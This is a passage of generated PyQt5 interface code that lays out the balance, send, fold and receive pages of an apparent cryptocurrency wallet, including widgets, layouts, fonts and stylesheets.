self.gridLayout_23.setObjectName("gridLayout_23")
self.address_header_label = QtWidgets.QLabel(self.address_header_frame)
self.address_header_label.setMinimumSize(QtCore.QSize(100, 50))
self.address_header_label.setMaximumSize(QtCore.QSize(16777215, 50))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(20)
font.setBold(True)
font.setWeight(75)
self.address_header_label.setFont(font)
self.address_header_label.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"\n"
"")
self.address_header_label.setObjectName("address_header_label")
self.gridLayout_23.addWidget(self.address_header_label, 0, 0, 1, 1, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)
self.gridLayout_6.addWidget(self.address_header_frame, 1, 0, 1, 1, QtCore.Qt.AlignVCenter)
self.frame_18 = QtWidgets.QFrame(self.addresses_group)
self.frame_18.setStyleSheet("QFrame#frame_18{border-radius: 4px;}\n"
"QScrollBar:vertical {\n"
" border: 0px solid #999999;\n"
" background:white;\n"
" width:10px; \n"
" margin: 0px 0px 0px 0px;\n"
" }\n"
" QScrollBar::handle:vertical { \n"
" \n"
" min-height: 0px;\n"
" border: 0px solid red;\n"
" border-radius: 4px;\n"
" background-color: black;\n"
" }\n"
" QScrollBar::add-line:vertical { \n"
" height: 0px;\n"
" subcontrol-position: bottom;\n"
" subcontrol-origin: margin;\n"
" }\n"
" QScrollBar::sub-line:vertical {\n"
" height: 0 px;\n"
" subcontrol-position: top;\n"
" subcontrol-origin: margin;\n"
" }")
self.frame_18.setFrameShape(QtWidgets.QFrame.Box)
self.frame_18.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_18.setObjectName("frame_18")
self.gridLayout_36 = QtWidgets.QGridLayout(self.frame_18)
self.gridLayout_36.setObjectName("gridLayout_36")
self.balance_tree = QtWidgets.QTreeWidget(self.frame_18)
self.balance_tree.setMinimumSize(QtCore.QSize(0, 220))
font = QtGui.QFont()
font.setFamily("Futura")
self.balance_tree.setFont(font)
self.balance_tree.setStyleSheet("border-radius: 4px; color: black;\n"
"background-color: rgb(201, 207, 207); \n"
"")
self.balance_tree.setFrameShape(QtWidgets.QFrame.StyledPanel)
self.balance_tree.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)
self.balance_tree.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)
self.balance_tree.setAutoScroll(True)
self.balance_tree.setAutoScrollMargin(4)
self.balance_tree.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows)
self.balance_tree.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel)
self.balance_tree.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerItem)
self.balance_tree.setIndentation(10)
self.balance_tree.setItemsExpandable(False)
self.balance_tree.setExpandsOnDoubleClick(False)
self.balance_tree.setObjectName("balance_tree")
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.balance_tree.headerItem().setFont(0, font)
self.balance_tree.headerItem().setBackground(0, QtGui.QColor(207, 222, 254, 194))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.balance_tree.headerItem().setFont(1, font)
self.balance_tree.headerItem().setBackground(1, QtGui.QColor(207, 222, 254, 194))
item_0 = QtWidgets.QTreeWidgetItem(self.balance_tree)
self.balance_tree.header().setDefaultSectionSize(250)
self.balance_tree.header().setMinimumSectionSize(40)
self.gridLayout_36.addWidget(self.balance_tree, 0, 0, 1, 1)
self.gridLayout_6.addWidget(self.frame_18, 4, 0, 1, 1)
self.gridLayout_12.addWidget(self.addresses_group, 1, 0, 1, 1)
self.verticalLayout.addWidget(self.frame_22)
self.stackedWidget.addWidget(self.balance_page)
self.send_page = QtWidgets.QWidget()
self.send_page.setObjectName("send_page")
self.gridLayout_7 = QtWidgets.QGridLayout(self.send_page)
self.gridLayout_7.setObjectName("gridLayout_7")
self.frame_21 = QtWidgets.QFrame(self.send_page)
self.frame_21.setMinimumSize(QtCore.QSize(0, 100))
self.frame_21.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_21.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_21.setObjectName("frame_21")
self.verticalLayout_24 = QtWidgets.QVBoxLayout(self.frame_21)
self.verticalLayout_24.setObjectName("verticalLayout_24")
self.groupBox = QtWidgets.QGroupBox(self.frame_21)
self.groupBox.setTitle("")
self.groupBox.setObjectName("groupBox")
self.gridLayout_57 = QtWidgets.QGridLayout(self.groupBox)
self.gridLayout_57.setContentsMargins(-1, -1, -1, 0)
self.gridLayout_57.setObjectName("gridLayout_57")
self.frame_69 = QtWidgets.QFrame(self.groupBox)
self.frame_69.setMinimumSize(QtCore.QSize(0, 40))
self.frame_69.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_69.setStyleSheet("QFrame#frame_69{border-radius: 4px;}")
self.frame_69.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_69.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_69.setObjectName("frame_69")
self.verticalLayout_22 = QtWidgets.QVBoxLayout(self.frame_69)
self.verticalLayout_22.setContentsMargins(-1, 0, -1, 0)
self.verticalLayout_22.setObjectName("verticalLayout_22")
self.label_54 = QtWidgets.QLabel(self.frame_69)
font = QtGui.QFont()
font.setPointSize(15)
self.label_54.setFont(font)
self.label_54.setStyleSheet("")
self.label_54.setObjectName("label_54")
self.verticalLayout_22.addWidget(self.label_54)
self.gridLayout_57.addWidget(self.frame_69, 2, 0, 1, 1)
self.frame_78 = QtWidgets.QFrame(self.groupBox)
self.frame_78.setMinimumSize(QtCore.QSize(0, 190))
self.frame_78.setStyleSheet("QFrame#frame_78{border-radius: 4px;}\n"
"QScrollBar:vertical {\n"
" border: 0px solid #999999;\n"
" background:white;\n"
" width:10px; \n"
" margin: 0px 0px 0px 0px;\n"
" }\n"
" QScrollBar::handle:vertical { \n"
" \n"
" min-height: 0px;\n"
" border: 0px solid red;\n"
" border-radius: 4px;\n"
" background-color: black;\n"
" }\n"
" QScrollBar::add-line:vertical { \n"
" height: 0px;\n"
" subcontrol-position: bottom;\n"
" subcontrol-origin: margin;\n"
" }\n"
" QScrollBar::sub-line:vertical {\n"
" height: 0 px;\n"
" subcontrol-position: top;\n"
" subcontrol-origin: margin;\n"
" }")
self.frame_78.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_78.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_78.setObjectName("frame_78")
self.gridLayout_95 = QtWidgets.QGridLayout(self.frame_78)
self.gridLayout_95.setObjectName("gridLayout_95")
self.rcp_list = QtWidgets.QListWidget(self.frame_78)
self.rcp_list.setMinimumSize(QtCore.QSize(0, 165))
self.rcp_list.setMaximumSize(QtCore.QSize(16777215, 165))
font = QtGui.QFont()
font.setFamily("Futura")
self.rcp_list.setFont(font)
self.rcp_list.setStyleSheet("background-color: rgb(201, 207, 207);\n"
"border: 1px solid rgb(2, 39, 126);\n"
"")
self.rcp_list.setFrameShape(QtWidgets.QFrame.NoFrame)
self.rcp_list.setFrameShadow(QtWidgets.QFrame.Plain)
self.rcp_list.setLineWidth(0)
self.rcp_list.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)
self.rcp_list.setAutoScroll(True)
self.rcp_list.setAutoScrollMargin(5)
self.rcp_list.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection)
self.rcp_list.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerItem)
self.rcp_list.setItemAlignment(QtCore.Qt.AlignTop)
self.rcp_list.setObjectName("rcp_list")
self.gridLayout_95.addWidget(self.rcp_list, 0, 0, 1, 1)
self.gridLayout_57.addWidget(self.frame_78, 5, 0, 1, 1)
self.label_6 = QtWidgets.QLabel(self.groupBox)
self.label_6.setMinimumSize(QtCore.QSize(0, 34))
font = QtGui.QFont()
font.setFamily("Helvetica")
font.setPointSize(16)
self.label_6.setFont(font)
self.label_6.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.label_6.setText("")
self.label_6.setObjectName("label_6")
self.gridLayout_57.addWidget(self.label_6, 9, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.frame_9 = QtWidgets.QFrame(self.groupBox)
self.frame_9.setMinimumSize(QtCore.QSize(0, 65))
self.frame_9.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_9.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border-radius: 8px;\n"
"")
self.frame_9.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_9.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_9.setObjectName("frame_9")
self.verticalLayout_9 = QtWidgets.QVBoxLayout(self.frame_9)
self.verticalLayout_9.setContentsMargins(-1, 0, -1, 0)
self.verticalLayout_9.setObjectName("verticalLayout_9")
self.label_7 = QtWidgets.QLabel(self.frame_9)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_7.setFont(font)
self.label_7.setStyleSheet("")
self.label_7.setObjectName("label_7")
self.verticalLayout_9.addWidget(self.label_7, 0, QtCore.Qt.AlignLeft)
self.gridLayout_57.addWidget(self.frame_9, 0, 0, 1, 1)
self.frame_7 = QtWidgets.QFrame(self.groupBox)
self.frame_7.setMinimumSize(QtCore.QSize(0, 100))
self.frame_7.setMaximumSize(QtCore.QSize(16777215, 100))
self.frame_7.setStyleSheet("QFrame#frame_7{border-radius: 4px;}")
self.frame_7.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_7.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_7.setObjectName("frame_7")
self.gridLayout_5 = QtWidgets.QGridLayout(self.frame_7)
self.gridLayout_5.setObjectName("gridLayout_5")
self.pay_from_combo_box = QtWidgets.QComboBox(self.frame_7)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.pay_from_combo_box.sizePolicy().hasHeightForWidth())
self.pay_from_combo_box.setSizePolicy(sizePolicy)
self.pay_from_combo_box.setMinimumSize(QtCore.QSize(600, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.pay_from_combo_box.setFont(font)
self.pay_from_combo_box.setStyleSheet("border-radius: 4px; \n"
"border: 1px solid rgb(210, 216, 216);\n"
"background-color: rgb(253, 253, 255);\n"
"selection-color: white;\n"
"selection-background-color: rgb(2, 39, 126);\n"
"")
self.pay_from_combo_box.setObjectName("pay_from_combo_box")
self.pay_from_combo_box.addItem("")
self.gridLayout_5.addWidget(self.pay_from_combo_box, 0, 1, 1, 1)
self.label_8 = QtWidgets.QLabel(self.frame_7)
self.label_8.setMinimumSize(QtCore.QSize(0, 35))
self.label_8.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setItalic(False)
font.setWeight(75)
self.label_8.setFont(font)
self.label_8.setStyleSheet("\n"
"padding-bottom: 4px;\n"
"color: black;\n"
"")
self.label_8.setObjectName("label_8")
self.gridLayout_5.addWidget(self.label_8, 0, 0, 1, 1)
self.gridLayout_57.addWidget(self.frame_7, 3, 0, 1, 1)
self.label_9 = QtWidgets.QLabel(self.groupBox)
self.label_9.setMinimumSize(QtCore.QSize(0, 16))
self.label_9.setMaximumSize(QtCore.QSize(16777215, 16))
font = QtGui.QFont()
font.setPointSize(15)
self.label_9.setFont(font)
self.label_9.setAutoFillBackground(False)
self.label_9.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.label_9.setObjectName("label_9")
self.gridLayout_57.addWidget(self.label_9, 4, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.send_exec_group = QtWidgets.QGroupBox(self.groupBox)
self.send_exec_group.setMinimumSize(QtCore.QSize(0, 65))
self.send_exec_group.setMaximumSize(QtCore.QSize(16777215, 65))
self.send_exec_group.setStyleSheet("border-radius: 4px; \n"
"")
self.send_exec_group.setTitle("")
self.send_exec_group.setFlat(True)
self.send_exec_group.setObjectName("send_exec_group")
self.gridLayout_4 = QtWidgets.QGridLayout(self.send_exec_group)
self.gridLayout_4.setObjectName("gridLayout_4")
self.snd_btn = QtWidgets.QPushButton(self.send_exec_group)
self.snd_btn.setStyleSheet("")
self.snd_btn.setObjectName("snd_btn")
self.gridLayout_4.addWidget(self.snd_btn, 0, 2, 1, 1)
self.clear_btn = QtWidgets.QPushButton(self.send_exec_group)
self.clear_btn.setStyleSheet("")
self.clear_btn.setObjectName("clear_btn")
self.gridLayout_4.addWidget(self.clear_btn, 0, 1, 1, 1)
self.add_btn = QtWidgets.QPushButton(self.send_exec_group)
self.add_btn.setStyleSheet("")
self.add_btn.setObjectName("add_btn")
self.gridLayout_4.addWidget(self.add_btn, 0, 0, 1, 1)
self.gridLayout_57.addWidget(self.send_exec_group, 8, 0, 1, 1)
self.frame_2 = QtWidgets.QFrame(self.groupBox)
self.frame_2.setMinimumSize(QtCore.QSize(0, 0))
self.frame_2.setMaximumSize(QtCore.QSize(16777215, 60))
self.frame_2.setStyleSheet("QFrame#frame_2{border-radius: 3px;} \n"
"")
self.frame_2.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_2.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_2.setObjectName("frame_2")
self.gridLayout_13 = QtWidgets.QGridLayout(self.frame_2)
self.gridLayout_13.setObjectName("gridLayout_13")
self.label_10 = QtWidgets.QLabel(self.frame_2)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_10.setFont(font)
self.label_10.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);")
self.label_10.setObjectName("label_10")
self.gridLayout_13.addWidget(self.label_10, 0, 0, 1, 1)
self.lineEdit_6 = QtWidgets.QLineEdit(self.frame_2)
self.lineEdit_6.setMinimumSize(QtCore.QSize(0, 35))
self.lineEdit_6.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.lineEdit_6.setFont(font)
self.lineEdit_6.setAutoFillBackground(False)
self.lineEdit_6.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.lineEdit_6.setText("")
self.lineEdit_6.setObjectName("lineEdit_6")
self.gridLayout_13.addWidget(self.lineEdit_6, 0, 1, 1, 1)
self.fee_est_btn = QtWidgets.QPushButton(self.frame_2)
self.fee_est_btn.setObjectName("fee_est_btn")
self.gridLayout_13.addWidget(self.fee_est_btn, 0, 2, 1, 1)
self.gridLayout_57.addWidget(self.frame_2, 7, 0, 1, 1)
self.line = QtWidgets.QFrame(self.groupBox)
self.line.setFrameShadow(QtWidgets.QFrame.Plain)
self.line.setFrameShape(QtWidgets.QFrame.HLine)
self.line.setObjectName("line")
self.gridLayout_57.addWidget(self.line, 1, 0, 1, 1)
self.verticalLayout_24.addWidget(self.groupBox)
self.gridLayout_7.addWidget(self.frame_21, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.send_page)
self.fold_page_1 = QtWidgets.QWidget()
self.fold_page_1.setObjectName("fold_page_1")
self.gridLayout_118 = QtWidgets.QGridLayout(self.fold_page_1)
self.gridLayout_118.setObjectName("gridLayout_118")
self.frame_91 = QtWidgets.QFrame(self.fold_page_1)
self.frame_91.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_91.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_91.setObjectName("frame_91")
self.gridLayout_119 = QtWidgets.QGridLayout(self.frame_91)
self.gridLayout_119.setObjectName("gridLayout_119")
spacerItem = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_119.addItem(spacerItem, 2, 0, 1, 1)
self.groupBox_20 = QtWidgets.QGroupBox(self.frame_91)
self.groupBox_20.setTitle("")
self.groupBox_20.setObjectName("groupBox_20")
self.gridLayout_120 = QtWidgets.QGridLayout(self.groupBox_20)
self.gridLayout_120.setObjectName("gridLayout_120")
self.frame_95 = QtWidgets.QFrame(self.groupBox_20)
self.frame_95.setMinimumSize(QtCore.QSize(0, 100))
self.frame_95.setMaximumSize(QtCore.QSize(16777215, 100))
self.frame_95.setStyleSheet("QFrame#frame_95{border-radius: 4px;}")
self.frame_95.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_95.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_95.setObjectName("frame_95")
self.gridLayout_124 = QtWidgets.QGridLayout(self.frame_95)
self.gridLayout_124.setObjectName("gridLayout_124")
self.fld_to_box = QtWidgets.QComboBox(self.frame_95)
self.fld_to_box.setMinimumSize(QtCore.QSize(600, 35))
self.fld_to_box.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.fld_to_box.setFont(font)
self.fld_to_box.setStyleSheet("border-radius: 4px; \n"
"border: 1px solid rgb(210, 216, 216);\n"
"background-color: rgb(253, 253, 255);\n"
"selection-color: white;\n"
"selection-background-color: rgb(2, 39, 126);\n"
"")
self.fld_to_box.setEditable(True)
self.fld_to_box.setCurrentText("")
self.fld_to_box.setObjectName("fld_to_box")
self.gridLayout_124.addWidget(self.fld_to_box, 0, 1, 1, 1)
self.label_76 = QtWidgets.QLabel(self.frame_95)
self.label_76.setMinimumSize(QtCore.QSize(80, 35))
self.label_76.setMaximumSize(QtCore.QSize(90, 35))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setItalic(False)
font.setWeight(75)
self.label_76.setFont(font)
self.label_76.setStyleSheet("")
self.label_76.setObjectName("label_76")
self.gridLayout_124.addWidget(self.label_76, 0, 0, 1, 1)
self.gridLayout_120.addWidget(self.frame_95, 4, 0, 1, 1)
self.line_22 = QtWidgets.QFrame(self.groupBox_20)
self.line_22.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_22.setFrameShape(QtWidgets.QFrame.HLine)
self.line_22.setObjectName("line_22")
self.gridLayout_120.addWidget(self.line_22, 1, 0, 1, 1)
self.frame_94 = QtWidgets.QFrame(self.groupBox_20)
self.frame_94.setMinimumSize(QtCore.QSize(0, 100))
self.frame_94.setMaximumSize(QtCore.QSize(16777215, 100))
self.frame_94.setStyleSheet("QFrame#frame_94{border-radius: 4px;}")
self.frame_94.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_94.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_94.setObjectName("frame_94")
self.gridLayout_123 = QtWidgets.QGridLayout(self.frame_94)
self.gridLayout_123.setObjectName("gridLayout_123")
self.label_75 = QtWidgets.QLabel(self.frame_94)
self.label_75.setMinimumSize(QtCore.QSize(80, 35))
self.label_75.setMaximumSize(QtCore.QSize(90, 35))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setItalic(False)
font.setWeight(75)
self.label_75.setFont(font)
self.label_75.setStyleSheet("")
self.label_75.setObjectName("label_75")
self.gridLayout_123.addWidget(self.label_75, 0, 0, 1, 1)
self.fld_frm_box = QtWidgets.QComboBox(self.frame_94)
self.fld_frm_box.setMinimumSize(QtCore.QSize(600, 35))
self.fld_frm_box.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.fld_frm_box.setFont(font)
self.fld_frm_box.setContextMenuPolicy(QtCore.Qt.DefaultContextMenu)
self.fld_frm_box.setStyleSheet("border-radius: 4px; \n"
"border: 1px solid rgb(210, 216, 216);\n"
"background-color: rgb(253, 253, 255);\n"
"selection-color: white;\n"
"selection-background-color: rgb(2, 39, 126);\n"
"")
self.fld_frm_box.setEditable(True)
self.fld_frm_box.setCurrentText("")
self.fld_frm_box.setObjectName("fld_frm_box")
self.gridLayout_123.addWidget(self.fld_frm_box, 0, 1, 1, 1)
self.gridLayout_120.addWidget(self.frame_94, 3, 0, 1, 1)
self.frame_92 = QtWidgets.QFrame(self.groupBox_20)
self.frame_92.setMinimumSize(QtCore.QSize(0, 66))
self.frame_92.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_92.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border-radius: 8px;\n"
"")
self.frame_92.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_92.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_92.setObjectName("frame_92")
self.gridLayout_121 = QtWidgets.QGridLayout(self.frame_92)
self.gridLayout_121.setObjectName("gridLayout_121")
self.label_73 = QtWidgets.QLabel(self.frame_92)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_73.setFont(font)
self.label_73.setStyleSheet("")
self.label_73.setObjectName("label_73")
self.gridLayout_121.addWidget(self.label_73, 0, 0, 1, 1)
self.gridLayout_120.addWidget(self.frame_92, 0, 0, 1, 1)
self.fold_btn_1 = QtWidgets.QPushButton(self.groupBox_20)
self.fold_btn_1.setObjectName("fold_btn_1")
self.gridLayout_120.addWidget(self.fold_btn_1, 5, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.frame_93 = QtWidgets.QFrame(self.groupBox_20)
self.frame_93.setMinimumSize(QtCore.QSize(0, 80))
self.frame_93.setMaximumSize(QtCore.QSize(16777215, 80))
self.frame_93.setStyleSheet("QFrame#frame_93{border-radius: 4px;}")
self.frame_93.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_93.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_93.setObjectName("frame_93")
self.gridLayout_122 = QtWidgets.QGridLayout(self.frame_93)
self.gridLayout_122.setObjectName("gridLayout_122")
self.label_74 = QtWidgets.QLabel(self.frame_93)
font = QtGui.QFont()
font.setPointSize(15)
self.label_74.setFont(font)
self.label_74.setStyleSheet("")
self.label_74.setWordWrap(True)
self.label_74.setObjectName("label_74")
self.gridLayout_122.addWidget(self.label_74, 0, 0, 1, 1)
self.gridLayout_120.addWidget(self.frame_93, 2, 0, 1, 1)
self.gridLayout_119.addWidget(self.groupBox_20, 0, 0, 1, 1)
self.label_77 = QtWidgets.QLabel(self.frame_91)
self.label_77.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.label_77.setText("")
self.label_77.setObjectName("label_77")
self.gridLayout_119.addWidget(self.label_77, 1, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.gridLayout_118.addWidget(self.frame_91, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.fold_page_1)
self.receive_page = QtWidgets.QWidget()
self.receive_page.setObjectName("receive_page")
self.horizontalLayout = QtWidgets.QHBoxLayout(self.receive_page)
self.horizontalLayout.setObjectName("horizontalLayout")
self.receive_header_frame = QtWidgets.QFrame(self.receive_page)
self.receive_header_frame.setFrameShape(QtWidgets.QFrame.NoFrame)
self.receive_header_frame.setFrameShadow(QtWidgets.QFrame.Raised)
self.receive_header_frame.setObjectName("receive_header_frame")
self.gridLayout_16 = QtWidgets.QGridLayout(self.receive_header_frame)
self.gridLayout_16.setObjectName("gridLayout_16")
self.receive_groupBox_1 = QtWidgets.QGroupBox(self.receive_header_frame)
self.receive_groupBox_1.setMinimumSize(QtCore.QSize(0, 400))
self.receive_groupBox_1.setMaximumSize(QtCore.QSize(16777215, 16777215))
self.receive_groupBox_1.setTitle("")
self.receive_groupBox_1.setObjectName("receive_groupBox_1")
self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.receive_groupBox_1)
self.verticalLayout_6.setObjectName("verticalLayout_6")
self.frame_10 = QtWidgets.QFrame(self.receive_groupBox_1)
self.frame_10.setMinimumSize(QtCore.QSize(0, 65))
self.frame_10.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_10.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_10.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_10.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_10.setObjectName("frame_10")
self.verticalLayout_23 = QtWidgets.QVBoxLayout(self.frame_10)
self.verticalLayout_23.setContentsMargins(-1, 0, -1, 0)
self.verticalLayout_23.setObjectName("verticalLayout_23")
self.label = QtWidgets.QLabel(self.frame_10)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label.setFont(font)
self.label.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"")
self.label.setObjectName("label")
self.verticalLayout_23.addWidget(self.label)
self.verticalLayout_6.addWidget(self.frame_10)
self.line_4 = QtWidgets.QFrame(self.receive_groupBox_1)
self.line_4.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_4.setFrameShape(QtWidgets.QFrame.HLine)
self.line_4.setObjectName("line_4")
self.verticalLayout_6.addWidget(self.line_4)
self.frame_68 = QtWidgets.QFrame(self.receive_groupBox_1)
self.frame_68.setMinimumSize(QtCore.QSize(0, 40))
self.frame_68.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_68.setStyleSheet("QFrame#frame_68{border-radius: 4px;}\n"
"")
self.frame_68.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_68.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_68.setObjectName("frame_68")
self.verticalLayout_21 = QtWidgets.QVBoxLayout(self.frame_68)
self.verticalLayout_21.setContentsMargins(-1, 0, -1, 0)
self.verticalLayout_21.setObjectName("verticalLayout_21")
self.label_53 = QtWidgets.QLabel(self.frame_68)
font = QtGui.QFont()
font.setPointSize(15)
self.label_53.setFont(font)
self.label_53.setStyleSheet("")
self.label_53.setObjectName("label_53")
self.verticalLayout_21.addWidget(self.label_53)
self.verticalLayout_6.addWidget(self.frame_68)
self.frame_12 = QtWidgets.QFrame(self.receive_groupBox_1)
self.frame_12.setStyleSheet("QFrame#frame_12{border-radius: 4px;}")
self.frame_12.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_12.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_12.setObjectName("frame_12")
self.gridLayout_11 = QtWidgets.QGridLayout(self.frame_12)
self.gridLayout_11.setObjectName("gridLayout_11")
self.label_5 = QtWidgets.QLabel(self.frame_12)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_5.setFont(font)
self.label_5.setStyleSheet("\n"
"padding-bottom: 4px;")
self.label_5.setObjectName("label_5")
self.gridLayout_11.addWidget(self.label_5, 2, 0, 1, 1)
self.msg_line = QtWidgets.QLineEdit(self.frame_12)
self.msg_line.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setFamily("Futura")
self.msg_line.setFont(font)
self.msg_line.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.msg_line.setObjectName("msg_line")
self.gridLayout_11.addWidget(self.msg_line, 2, 2, 1, 1)
self.label_4 = QtWidgets.QLabel(self.frame_12)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_4.setFont(font)
self.label_4.setStyleSheet("padding-bottom: 4px;")
self.label_4.setObjectName("label_4")
self.gridLayout_11.addWidget(self.label_4, 0, 0, 1, 1)
self.receive_amt_line = QtWidgets.QLineEdit(self.frame_12)
self.receive_amt_line.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setFamily("Futura")
self.receive_amt_line.setFont(font)
self.receive_amt_line.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.receive_amt_line.setObjectName("receive_amt_line")
self.gridLayout_11.addWidget(self.receive_amt_line, 1, 2, 1, 1)
self.receive_rqst_btn = QtWidgets.QPushButton(self.frame_12)
self.receive_rqst_btn.setObjectName("receive_rqst_btn")
self.gridLayout_11.addWidget(self.receive_rqst_btn, 3, 2, 1, 1, QtCore.Qt.AlignHCenter)
self.label_3 = QtWidgets.QLabel(self.frame_12)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_3.setFont(font)
self.label_3.setStyleSheet("\n"
"padding-bottom: 4px;")
self.label_3.setObjectName("label_3")
self.gridLayout_11.addWidget(self.label_3, 1, 0, 1, 1)
self.pay_to_combo_box = QtWidgets.QComboBox(self.frame_12)
self.pay_to_combo_box.setMinimumSize(QtCore.QSize(0, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.pay_to_combo_box.setFont(font)
self.pay_to_combo_box.setStyleSheet("border-radius: 4px; \n"
"border: 1px solid rgb(210, 216, 216);\n"
"background-color: rgb(253, 253, 255);\n"
"selection-color: white;\n"
"selection-background-color: rgb(2, 39, 126);\n"
"")
self.pay_to_combo_box.setEditable(True)
self.pay_to_combo_box.setObjectName("pay_to_combo_box")
self.gridLayout_11.addWidget(self.pay_to_combo_box, 0, 2, 1, 1)
self.verticalLayout_6.addWidget(self.frame_12)
self.gridLayout_16.addWidget(self.receive_groupBox_1, 0, 0, 1, 1)
self.receive_groupBox_2 = QtWidgets.QGroupBox(self.receive_header_frame)
self.receive_groupBox_2.setMinimumSize(QtCore.QSize(0, 100))
self.receive_groupBox_2.setMaximumSize(QtCore.QSize(16777215, 16777215))
self.receive_groupBox_2.setTitle("")
self.receive_groupBox_2.setObjectName("receive_groupBox_2")
self.gridLayout_17 = QtWidgets.QGridLayout(self.receive_groupBox_2)
self.gridLayout_17.setObjectName("gridLayout_17")
self.frame_15 = QtWidgets.QFrame(self.receive_groupBox_2)
